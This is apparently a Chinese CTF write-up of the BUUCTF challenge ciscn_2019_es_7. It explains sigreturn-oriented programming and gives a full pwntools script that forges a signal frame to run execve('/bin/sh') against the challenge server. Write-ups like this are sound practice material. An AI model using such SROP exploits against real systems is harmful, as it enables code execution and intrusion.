buuctf ciscn_2019_es_7

srop

之前聽說過,但是沒做過,今天算是見識了。
整體思路就是
在這裏插入圖片描述
就是在內核返回到用戶時(sigreturn),會把原來的context(保存在棧裏的Signal Frame)給復原,而Signal Frame在用戶棧裏,裏面存有rip等寄存器,所以我們刻意觸發sigreturn,然後僞造Signal Frame,進而控制程序。

gadget:

在這裏插入圖片描述

模仿一位博主的,下面貼了鏈接“做迷藏”,侵刪哦。
from pwn import *
from LibcSearcher import *

#io=process("es_7")
io=remote("node3.buuoj.cn",28853)
#gdb.attach(io,"b *0x400519")
elf=ELF("./es_7")
context(log_level='debug',arch='amd64')
vul=0x4004f1

payload='/bin/sh\x00'+p64(0)+p64(vul)
io.send(payload)
io.recv(0x20)
rsp_e8=u64(io.recv(6).ljust(8,'\x00'))
movrax_sigreturn=0x4004da
movrax_system=0x4004E2
syscall_ret=0x400517
io.recv(8)
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_execve
sigframe.rdi=rsp_e8-0x110
sigframe.rsi=0x0
sigframe.rdx=0x0
sigframe.rsp=rsp_e8
sigframe.rip=syscall_ret
payload="/bin/sh\x00"+p64(0)+p64(movrax_sigreturn)+p64(syscall_ret)+str(sigframe)
io.sendline(payload)

io.interactive()

參考鏈接:
https://www.freebuf.com/articles/network/87447.html
捉迷藏的博客

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章